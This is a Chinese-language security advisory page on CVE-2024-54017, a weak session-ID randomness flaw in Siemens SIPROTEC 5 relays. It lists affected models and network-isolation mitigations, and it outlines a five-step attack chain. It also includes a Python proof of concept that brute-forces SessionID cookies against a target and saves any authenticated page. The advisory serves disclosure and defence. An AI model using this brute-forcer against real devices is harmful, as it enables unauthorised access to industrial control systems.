IPBUF安全漏洞报告
English
CVE-2024-54017 CVSS 5.3 中危

CVE-2024-54017: 西门子SIPROTEC 5设备会话ID随机性不足导致信息泄露漏洞

披露日期: 2026-05-12

漏洞信息

漏洞编号
CVE-2024-54017
漏洞类型
会话劫持
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Siemens SIPROTEC 5 系列

相关标签

CVE-2024-54017SiemensSIPROTEC 5Session HijackingWeak RandomnessInformation DisclosureICS

漏洞概述

Siemens SIPROTEC 5 系列的多个设备型号存在安全设计缺陷,具体涉及Web服务的会话管理机制。由于设备在创建会话标识符时,未能采用具有足够熵值的随机数生成算法,导致生成的Session ID容易被预测。远程未经认证的攻击者可利用这一弱点,通过网络发起自动化攻击。攻击者通过暴力破解方式枚举可能的会话ID,一旦猜测正确,即可劫持合法会话。这使得攻击者能够在无需用户凭证的情况下,获取Web服务器上的有限敏感信息。该漏洞CVSS v3.1评分为5.3,属于中危级别,主要影响数据的机密性,建议相关运营方尽快进行排查与修复。

技术细节

该漏洞属于典型的因弱随机数生成算法导致的信息泄露问题。Siemens SIPROTEC 5 设备内置的 Web 服务器在生成会话标识符时,未能使用密码学安全的伪随机数生成器(CSPRNG),导致生成的 Session ID 熵值较低且具有可预测性。从技术原理上看,安全的会话 ID 应当足够长且随机,以确保暴力破解在计算上不可行。然而,受影响设备生成的 ID 可能仅依赖于时间戳、静态计数器或低熵的设备信息。攻击者利用这一缺陷,无需任何预先认证,即可在远程发起攻击。利用方式通常采用自动化脚本进行暴力破解或预测攻击。攻击者通过观察或枚举,构造一系列可能的 Session ID,并将其注入到 HTTP Cookie 字段中发送给目标设备。如果服务器返回非重定向的 HTTP 200 OK 响应,且页面包含需认证才能查看的内容,则表明猜测成功。攻击者借此即可维持非法会话状态,读取设备状态、配置参数等敏感信息。这种攻击方式隐蔽性强,且不会在设备日志中留下明显的异常登录记录(因为对服务器而言,Session ID 是合法的)。考虑到工业控制环境的特殊性,此类漏洞可能被用作进入内网的跳板,进一步对关键基础设施造成破坏。

攻击链分析

STEP 1
侦察
攻击者扫描网络,识别暴露的Siemens SIPROTEC 5设备及其Web服务接口。
STEP 2
漏洞分析
确认目标设备运行的固件版本是否在受影响范围内(< V11.0),并分析其会话ID生成机制是否存在弱随机性。
STEP 3
暴力破解
利用自动化脚本,根据弱随机性特征生成大量候选会话ID,并发送HTTP请求进行验证。
STEP 4
会话劫持
当服务器验证某个候选ID有效时,攻击者获取该会话ID,建立与设备的未经授权会话。
STEP 5
信息窃取
利用劫持的会话访问Web界面,读取设备配置、状态信息或其他受限数据。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import itertools # Target URL (Replace with actual target) target_url = "https://<target_ip>/" # Example: Assuming the session ID is a predictable numeric sequence or short string # due to insufficient randomness. This is a conceptual PoC. headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" } def brute_force_session(): print("[*] Starting brute force attack on Session ID...") # Example range or pattern based on weak randomness analysis # In a real scenario, the range might be 000000 to 999999 if IDs are 6-digit numbers for i in range(100000, 999999): session_id = str(i) cookies = { "SessionID": session_id # Replace 'SessionID' with the actual cookie name } try: response = requests.get(target_url, headers=headers, cookies=cookies, timeout=5, verify=False) # Check for successful authentication indicators # e.g., specific keywords in response or absence of login form if "Logout" in response.text or response.status_code == 200 and "Login" not in response.url: print(f"[+] Valid Session ID found: {session_id}") print(f"[+] Response content length: {len(response.text)}") # Optionally save the response content with open("exploit_result.html", "w") as f: f.write(response.text) return session_id except requests.RequestException as e: print(f"[-] Error connecting to target: {e}") break print("[-] Brute force completed without finding a valid ID.") return None if __name__ == "__main__": brute_force_session()

影响范围

SIPROTEC 5 6MD84 (CP300) (All versions < V11.0)
SIPROTEC 5 6MD85 (CP200) (All versions)
SIPROTEC 5 6MD85 (CP300) (All versions >= V7.80 < V11.0)
SIPROTEC 5 6MD86 (CP200) (All versions)
SIPROTEC 5 6MD86 (CP300) (All versions >= V7.80 < V11.0)
SIPROTEC 5 6MD89 (CP300) (All versions >= V7.80 < V11.0)
SIPROTEC 5 6MU85 (CP300) (All versions >= V7.80 < V11.0)
SIPROTEC 5 7KE85 (CP200) (All versions)
SIPROTEC 5 7KE85 (CP300) (All versions >= V7.80 < V11.0)
SIPROTEC 5 7SA82 (CP100) (All versions >= V7.80)
SIPROTEC 5 7SA82 (CP150) (All versions < V11.0)
SIPROTEC 5 7SA84 (CP200) (All versions)
SIPROTEC 5 7SA86 (CP200) (All versions)
SIPROTEC 5 7SA86 (CP300) (All versions >= V7.80 < V11.0)
SIPROTEC 5 7SA87 (CP200) (All versions)
SIPROTEC 5 7SA87 (CP300) (All versions >= V7.80 < V11.0)
SIPROTEC 5 7SD82 (CP100) (All versions >= V7.80)
SIPROTEC 5 7SD82 (CP150) (All versions < V11.0)
SIPROTEC 5 7SD84 (CP200) (All versions)
SIPROTEC 5 7SD86 (CP200) (All versions)
SIPROTEC 5 7SD86 (CP300) (All versions >= V7.80 < V11.0)
SIPROTEC 5 7SD87 (CP200) (All versions)
SIPROTEC 5 7SD87 (CP300) (All versions >= V7.80 < V11.0)
SIPROTEC 5 7SJ81 (CP100) (All versions >= V7.80)
SIPROTEC 5 7SJ81 (CP150) (All versions < V11.0)
SIPROTEC 5 7SJ82 (CP100) (All versions >= V7.80)
SIPROTEC 5 7SJ82 (CP150) (All versions < V11.0)
SIPROTEC 5 7SJ85 (CP200) (All versions)
SIPROTEC 5 7SJ85 (CP300) (All versions >= V7.80 < V11.0)
SIPROTEC 5 7SJ86 (CP200) (All versions)
SIPROTEC 5 7SJ86 (CP300) (All versions >= V7.80 < V11.0)
SIPROTEC 5 7SK82 (CP100) (All versions >= V7.80)
SIPROTEC 5 7SK82 (CP150) (All versions < V11.0)
SIPROTEC 5 7SK85 (CP200) (All versions)
SIPROTEC 5 7SK85 (CP300) (All versions >= V7.80 < V11.0)
SIPROTEC 5 7SL82 (CP100) (All versions >= V7.80)
SIPROTEC 5 7SL82 (CP150) (All versions < V11.0)
SIPROTEC 5 7SL86 (CP200) (All versions)
SIPROTEC 5 7SL86 (CP300) (All versions >= V7.80 < V11.0)
SIPROTEC 5 7SL87 (CP200) (All versions)
SIPROTEC 5 7SL87 (CP300) (All versions >= V7.80 < V11.0)
SIPROTEC 5 7SS85 (CP200) (All versions)
SIPROTEC 5 7SS85 (CP300) (All versions >= V7.80 < V11.0)
SIPROTEC 5 7ST85 (CP200) (All versions)
SIPROTEC 5 7ST85 (CP300) (All versions >= V7.80 < V11.0)
SIPROTEC 5 7ST86 (CP300) (All versions < V11.0)
SIPROTEC 5 7SX82 (CP150) (All versions < V11.0)
SIPROTEC 5 7SX85 (CP300) (All versions < V11.0)
SIPROTEC 5 7SY82 (CP150) (All versions < V11.0)
SIPROTEC 5 7UM85 (CP300) (All versions >= V7.80 < V11.0)
SIPROTEC 5 7UT82 (CP100) (All versions >= V7.80)
SIPROTEC 5 7UT82 (CP150) (All versions < V11.0)
SIPROTEC 5 7UT85 (CP200) (All versions)
SIPROTEC 5 7UT85 (CP300) (All versions >= V7.80 < V11.0)
SIPROTEC 5 7UT86 (CP200) (All versions)
SIPROTEC 5 7UT86 (CP300) (All versions >= V7.80 < V11.0)
SIPROTEC 5 7UT87 (CP200) (All versions)
SIPROTEC 5 7UT87 (CP300) (All versions >= V7.80 < V11.0)
SIPROTEC 5 7VE85 (CP300) (All versions >= V7.80 < V11.0)
SIPROTEC 5 7VK87 (CP200) (All versions)
SIPROTEC 5 7VK87 (CP300) (All versions >= V7.80 < V11.0)
SIPROTEC 5 7VU85 (CP300) (All versions < V11.0)
SIPROTEC 5 Compact 7SX800 (CP050) (All versions < V11.0)

防御指南

临时缓解措施
如果无法立即升级固件,建议采取网络隔离措施。通过配置访问控制列表(ACL)或防火墙规则,严格限制对设备Web管理界面的访问源,确保只有经过授权的维护终端才能连接。此外,应加强网络监控,检测针对设备Web端口的异常高频请求,及时发现潜在的暴力破解攻击行为。

参考链接